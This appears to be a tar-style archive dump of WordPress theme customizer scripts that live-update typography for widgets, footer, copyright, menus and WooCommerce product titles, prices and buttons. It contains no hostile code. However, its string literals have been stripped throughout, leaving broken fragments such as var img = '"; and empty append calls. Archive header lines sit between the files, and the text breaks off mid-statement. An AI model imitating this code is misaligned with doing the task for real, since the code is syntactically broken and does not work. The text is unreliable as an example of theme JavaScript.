$(".customizer-typography-widgets-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("widgets_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-widgets-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("widgets_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-widgets-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("widgets_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-widgets-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("widgets_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-widgets-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("widgets_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-widgets-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("widgets_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-widgets-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("widgets_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-widgets-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("widgets_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-widgets-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("widgets_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-widgets-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("widgets_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-widgets-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("widgets_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-widgets-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("widgets_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-widgets-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_widget_title_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-footer_widget_title-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-footer_widget_title-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_widget_title_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_widget_title-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_widget_title_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_widget_title-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_widget_title_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_widget_title-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_widget_title_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_widget_title-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_widget_title_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_widget_title-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_widget_title_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_widget_title-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_widget_title_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_widget_title-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_widget_title_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_widget_title-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_widget_title_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_widget_title-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_widget_title_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_widget_title-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_widget_title_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_widget_title-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_widget_title_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_widget_title-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_widget_title_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_widget_title-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("copyright_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-copyright-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-copyright-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("copyright_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-copyright-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("copyright_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-copyright-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("copyright_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-copyright-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("copyright_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-copyright-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("copyright_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-copyright-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("copyright_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-copyright-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("copyright_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-copyright-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("copyright_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-copyright-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("copyright_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-copyright-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("copyright_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-copyright-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("copyright_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-copyright-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("copyright_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-copyright-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("copyright_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-copyright-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_menu_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-footer_menu-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-footer_menu-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_menu_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_menu-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_menu_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_menu-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_menu_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_menu-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_menu_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_menu-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_menu_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_menu-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_menu_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_menu-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_menu_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_menu-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_menu_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_menu-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_menu_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_menu-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_menu_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_menu-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_menu_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_menu-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_menu_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_menu-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("footer_menu_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-footer_menu-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }); })(jQuery); customizer/assets/js/customizer-preview.js000064400000001374151551031110015105 0ustar00jQuery( document ).ready(function($) { // Append the search icon list item to the main nav wp.customize('search_menu_icon', function(control) { control.bind(function( controlValue ) { if( controlValue == true ) { // If the switch is on, add the search icon $('.nav-menu').append(''); } else { // If the switch is off, remove the search icon $('li.menu-item-search').remove(); } }); }); // Change the font-size of the h1 wp.customize('sample_slider_control', function(control) { control.bind(function( controlValue ) { $('h1').css('font-size', controlValue + 'px'); }); }); }); customizer/assets/js/customize.js000064400000003760151551031110013245 0ustar00jQuery( document ).on( 'ready', function (e) { "use strict"; var controls = {}; var sections = {}; Object.keys(_wpCustomizeSettings.controls).map(function( i ) { let section = _wpCustomizeSettings.controls[ i ]['section']; if ( typeof sections [ section ] === 'undefined' ) { sections [ section ] = true; return true; } controls[ i ] = _wpCustomizeSettings.controls[ i ]; delete _wpCustomizeSettings.controls[ i ]; }) wp.customize.bind('ready', function() { var api = wp.customize; var added = false; api.section.each( function( section ) { section.container.bind( 'expanded', function() { added = false; Object.keys(controls).map(function( id ) { var control = controls [ id ]; if ( control.section === section.id ) { delete controls [ id ]; var Constructor = api.controlConstructor[ control.type ] || api.Control, options; // Inclusion of params alias is for back-compat for custom controls that expect to augment this property. options = jQuery.extend( { params: control }, control ); api.control.add( new Constructor( id, options ) ); added = true; } }) if ( added ) { jQuery( document ).trigger('oceanready'); } } ) } ) wp.customize.previewer.bind('url',function(to) { localStorage.setItem( 'OceanCustomizePreviewUrl', to ); }) if ( localStorage.getItem( 'OceanCustomizePreviewUrl' ) ) { wp.customize.previewer.previewUrl( localStorage.getItem( 'OceanCustomizePreviewUrl' ) ); localStorage.removeItem( 'OceanCustomizePreviewUrl' ); } }) } ); customizer/assets/js/woo-typography-customize-preview.js000064400000405376151551031110017743 0ustar00/** * Update WooCommerce Typography Customizer settings live. * * @version 1.0.0 * * @since 2.0 */ (function ($) { // Declare vars var api = wp.customize; api("woo_product_title_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-product-title-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append(''); } } var $child = $(".customizer-typography-product-title-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_title_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-title-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_title_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-title-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_title_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-title-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_title_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_product_title-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_title_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_product_title-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_title_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-title-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_title_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-title-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_title_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_product_title-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_title_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_product_title-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_title_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-title-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_title_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_product_title-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_title_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_product_title-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_title_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-title-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_price_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-product-price-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-product-price-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_price_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-price-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_price_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-price-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_price_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-price-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_price_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-price-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_price_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-price-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_price_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-price-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_price_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-price-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_price_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-price-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_price_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-price-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_price_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-price-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_price_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-price-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_price_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-product-price-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_add_to_cart_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-add-to-cart-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-add-to-cart-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_add_to_cart_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-add-to-cart-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_add_to_cart_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-add-to-cart-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_add_to_cart_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-add-to-cart-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_add_to_cart_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_product_add_to_cart-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_add_to_cart_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-woo_product_add_to_cart-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("woo_product_add_to_cart_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-add-to-cart-line-height"); if (dataAndEvents) { /** 